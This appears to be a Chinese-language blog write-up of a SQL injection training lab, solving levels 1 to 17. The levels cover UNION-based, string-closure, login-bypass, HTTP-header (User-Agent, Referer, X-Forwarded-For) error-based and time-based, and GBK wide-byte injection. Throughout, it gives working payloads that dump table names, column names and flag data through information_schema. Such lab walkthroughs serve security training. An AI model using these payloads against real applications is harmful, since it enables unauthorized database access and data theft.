【掌控安全】sql注入全集

文章详细介绍了多个关于SQL注入的安全攻防案例,包括如何检测注入点、利用information_schema获取数据库信息、通过unionselect获取数据以及处理宽字节注入问题。通过一系列步骤展示了如何从注入漏洞中获取敏感信息。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

掌控安全


🔥系列专栏:掌控安全
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2023年5月20日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!


直接从这里开始
在这里插入图片描述

第一个

?id=1 and 1=1

在这里插入图片描述

?id=1 and 1=2

在这里插入图片描述所以存在注入
接下来判断列数以及注入点

?id=1 order by 3
?id=1 order by 4 //页面不正常

在这里插入图片描述
在这里插入图片描述
所以有三列
接下来找一下注入点

?id=1 union select 1,2,3

在这里插入图片描述所以2,3是注入点

接下来直接梭哈表名

?id=1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())

在这里插入图片描述
梭哈列名

?id=1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='error_flag')

在这里插入图片描述接下来直接在对应的表中查询字段

?id=1 union select 1,2,flag from error_flag

在这里插入图片描述

第二个

在这里插入图片描述这是一个字符型
所以我们要构造引号闭合

?id=1' or 1=1 --+
?id=1' or 1=2 --+
页面显示不同
所以存在sql注入

找一下字段

?id=1' order by 3--+
?id=1' order by 4--+
页面不同,所以有三段
然后跟之前一样了

在这里插入图片描述

第三关

构造括号与引号闭合

?id=1') or 1=1--+

最后加上注释符
在这里插入图片描述
然后都是一样

第四关

同理

?id=1") or 1=1--+

第五关

' or 1=1 -- 
最后面有一个空格,-- 是注释
万能密码登陆成功,所以存在sql注入
并且注释是--

在这里插入图片描述
接下来猜字段

' or 1=1 order by 3 -- 
' or 1=1 order by 4 -- 

在这里插入图片描述说明是三列

用or的话就要让之前的为假,这样就会输出后面为真的内容

' or 1=2 union select 1,2,3 -- 

后面的也一样了
在这里插入图片描述

' or 1=2 union select 1,2,(select group_concat(column_name) from information_schema.columns
where table_name='flag') -- 

在这里插入图片描述
接下来从flag表拿数据

' or 1=2 union select 1,flag,3 from flag -- 

在这里插入图片描述

第六关

万能密码

") or 1=1 -- 

在这里插入图片描述
同理

第七关

head注入
一般采用报错注入
报错注入采取了一些函数
在实际操作中需要绕过,利用内联,宽字节等等很多方法
同时需要注意的是,一般只有登陆成功的时候才会成功
因为只有这个时候服务器才会记录你的head头信息
所以前期爆破一下
admin/123456

我们这里直接抓包

 ' or sleep(10),1)#

先时间盲注一下,可以看到页面延迟了10秒,并且通过尝试知道了注释符是#
所以我们构造攻击性语句
在这里插入图片描述在这里我们把这个打开,就可以自动跟踪我们发的包与上一个包的不同
在这里插入图片描述

' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1),1)#

在这里插入图片描述

User-Agent: ' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag_head')),1),1)#

在这里插入图片描述

User-Agent: ' or updatexml(1,concat(0x7e,(select group_concat(flag_h1) from flag_head)),1),1)#

在这里插入图片描述

第八关

也是head注入
这次是在refer头
复制上面的操作
先进行时间盲注
在这里插入图片描述
盲注成功
接下来的操作都一样

第九关

添加一个XFF头
然后去盲注

x-forwarded-for:  ' or sleep(10),1)#

盲注成功,复制即可
在这里插入图片描述

第十六关

之前几关都是盲注,原理很简单,但是都需要爆破批量跑数据
这里就不演示了,可以用sqlmap直接跑的
如果想知道sqlmap的原理,可以简单地burp抓一下包去看
proxifier做全局代理到bp,然后就行了
第16关是宽字节注入

在这里插入图片描述
可以看到多了一个反斜杠
宽字节的原理就不多说了
就是值两个单字节组成了⼀个宽字节,因为有些数据库是gbk编码产⽣的问题,在输⼊引号等特殊符号的时候,会进⾏转义添加(%5c),所以采⽤在闭合的时候与%5c组成⼀个宽字节使\作⽤失效。

id=1%df' and 1=1 -- 
id=1%df' and 1=2 -- 

在这里插入图片描述

可以看到那个乱码符号与\挨在了一起,所以他们两个就组成可一个宽字节,我们的被转义的引号就被释放出来了

然后接下来的就不变了,跟之前第二关的报错注入一样,但是有一个地方需要注意一下
前面的判断列数就跳过先

%df' and 1=2 union select 1,2,database() -- qqq //查询库名,这里我发现我的空格老被吃掉,所以随便放点东西,反正--空格会注释掉后面的

在这里插入图片描述接下来要看看widechar库里有那些表

%df' and 1=2 union select 1,2,table_name from information_schema.tables where table_schema = database() limit 0,1 -- qqq
得到表名为china_flag

现在我们要从china_flag中拿数据
本来应该是这样的,但是没有东西

%df' and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=china_flag limit 0,1 -- qqq

因为系统编码方式(utf8)跟数据库采用的编码(gbk)方式不一样,所以再解析的时候会出现一些问题,这只在采用了gbk方式的数据库中会出现,所以我们可以将表名等信息均替换为对应的16禁止编码即可

china_flag = 0x6368696e615f666c6167
%df' and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=0x6368696e615f666c6167limit 0,1 -- qqq

在这里插入图片描述
而后再limit 0,2看第二个字段
看到了c_flag字段
查看即可

%df' and 1=2 union select 1,2,C_Flag from china_flag limit 0,1 -- qqq

第十七关

闭合不同,其他一样

%df") and 1=2 union select 1,2,database() -- qqq
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

人间体佐菲

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值